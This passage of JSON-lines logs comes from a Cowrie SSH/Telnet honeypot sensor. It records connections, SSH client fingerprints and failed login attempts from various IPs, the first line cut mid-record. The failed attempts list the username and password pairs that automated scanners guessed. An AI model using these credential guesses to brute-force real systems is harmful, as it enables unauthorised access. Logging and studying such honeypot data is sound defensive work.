0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:26:02.213204Z","src_ip":"27.71.230.31","session":"7da12c5424d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin2013","message":"login attempt [root/admin2013] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:26:04.103440Z","src_ip":"27.71.230.31","session":"7da12c5424d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.1","message":"Connection lost after 5.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:26:05.345378Z","src_ip":"27.71.230.31","session":"7da12c5424d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":56578,"dst_ip":"10.17.0.5","dst_port":23,"session":"41e986579aa3","protocol":"telnet","message":"New connection: 94.23.66.112:56578 (10.17.0.5:23) [session: 41e986579aa3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:26:20.710012Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":52350,"dst_ip":"159.203.135.109","dst_port":22,"session":"345aa02b0d8b","protocol":"ssh","message":"New connection: 80.66.85.226:52350 (159.203.135.109:22) [session: 345aa02b0d8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:26:33.345492Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:26:33.350370Z","src_ip":"80.66.85.226","session":"345aa02b0d8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:26:33.439863Z","src_ip":"80.66.85.226","session":"345aa02b0d8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"260479","message":"login attempt [root/260479] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:26:33.709831Z","src_ip":"80.66.85.226","session":"345aa02b0d8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:26:34.801829Z","src_ip":"80.66.85.226","session":"345aa02b0d8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.171.213","src_port":33624,"dst_ip":"159.203.135.109","dst_port":22,"session":"a836384f8c5d","protocol":"ssh","message":"New connection: 152.32.171.213:33624 (159.203.135.109:22) [session: a836384f8c5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:26:42.944913Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:26:42.949122Z","src_ip":"152.32.171.213","session":"a836384f8c5d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:26:43.166613Z","src_ip":"152.32.171.213","session":"a836384f8c5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Zaq12wsx!","message":"login attempt [admin/Zaq12wsx!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:26:44.069645Z","src_ip":"152.32.171.213","session":"a836384f8c5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:26:45.289063Z","src_ip":"152.32.171.213","session":"a836384f8c5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.207.4.157","src_port":56652,"dst_ip":"159.203.135.109","dst_port":22,"session":"654cfd9cd875","protocol":"ssh","message":"New connection: 92.207.4.157:56652 (159.203.135.109:22) [session: 654cfd9cd875]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:27:12.999850Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:27:13.014655Z","src_ip":"92.207.4.157","session":"654cfd9cd875","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:27:13.125955Z","src_ip":"92.207.4.157","session":"654cfd9cd875","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":53992,"dst_ip":"159.203.135.109","dst_port":22,"session":"d6468fe75f49","protocol":"ssh","message":"New connection: 194.113.233.25:53992 (159.203.135.109:22) [session: d6468fe75f49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:27:13.476483Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:27:13.481397Z","src_ip":"194.113.233.25","session":"d6468fe75f49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pavel","password":"1234","message":"login attempt [pavel/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:27:13.568701Z","src_ip":"92.207.4.157","session":"654cfd9cd875","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:27:13.571920Z","src_ip":"194.113.233.25","session":"d6468fe75f49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"danila2000","message":"login attempt [root/danila2000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:27:13.845522Z","src_ip":"194.113.233.25","session":"d6468fe75f49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:27:14.673695Z","src_ip":"92.207.4.157","session":"654cfd9cd875","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:27:14.937300Z","src_ip":"194.113.233.25","session":"d6468fe75f49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":40356,"dst_ip":"159.203.135.109","dst_port":22,"session":"6361c3289a96","protocol":"ssh","message":"New connection: 27.71.230.31:40356 (159.203.135.109:22) [session: 6361c3289a96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:27:21.849796Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:27:21.898517Z","src_ip":"27.71.230.31","session":"6361c3289a96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":39140,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ca02c36e9e4","protocol":"telnet","message":"New connection: 94.23.66.112:39140 (10.17.0.5:23) [session: 7ca02c36e9e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:27:25.412529Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:27:26.068926Z","src_ip":"27.71.230.31","session":"6361c3289a96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":68.85835576057434,"message":"Connection lost after 68 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:27:29.568249Z","src_ip":"94.23.66.112","session":"41e986579aa3","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin2013","message":"login attempt [root/admin2013] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:27:31.131587Z","src_ip":"27.71.230.31","session":"6361c3289a96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.9","message":"Connection lost after 10.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:27:32.712872Z","src_ip":"27.71.230.31","session":"6361c3289a96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":40524,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c9ffe04c61b","protocol":"telnet","message":"New connection: 94.23.66.112:40524 (10.17.0.5:23) [session: 4c9ffe04c61b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:27:33.614088Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.29.234.126","src_port":42094,"dst_ip":"159.203.135.109","dst_port":22,"session":"e466b19c7d02","protocol":"ssh","message":"New connection: 46.29.234.126:42094 (159.203.135.109:22) [session: e466b19c7d02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:27:40.946719Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:27:40.950949Z","src_ip":"46.29.234.126","session":"e466b19c7d02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:27:41.056856Z","src_ip":"46.29.234.126","session":"e466b19c7d02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"magnus","password":"1234","message":"login attempt [magnus/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:27:41.511525Z","src_ip":"46.29.234.126","session":"e466b19c7d02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:27:42.620224Z","src_ip":"46.29.234.126","session":"e466b19c7d02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":59104,"dst_ip":"10.17.0.5","dst_port":22,"session":"56a003fe66d8","protocol":"ssh","message":"New connection: 103.176.20.57:59104 (10.17.0.5:22) [session: 56a003fe66d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:27:45.410515Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:27:45.414057Z","src_ip":"103.176.20.57","session":"56a003fe66d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:27:45.670396Z","src_ip":"103.176.20.57","session":"56a003fe66d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":49016,"dst_ip":"10.17.0.5","dst_port":22,"session":"cbfa83267145","protocol":"ssh","message":"New connection: 192.109.200.78:49016 (10.17.0.5:22) [session: cbfa83267145]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:27:46.128005Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:27:46.132377Z","src_ip":"192.109.200.78","session":"cbfa83267145","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:27:46.213029Z","src_ip":"192.109.200.78","session":"cbfa83267145","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"barber","message":"login attempt [root/barber] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:27:46.445568Z","src_ip":"103.176.20.57","session":"56a003fe66d8","protocol":"ssh"}
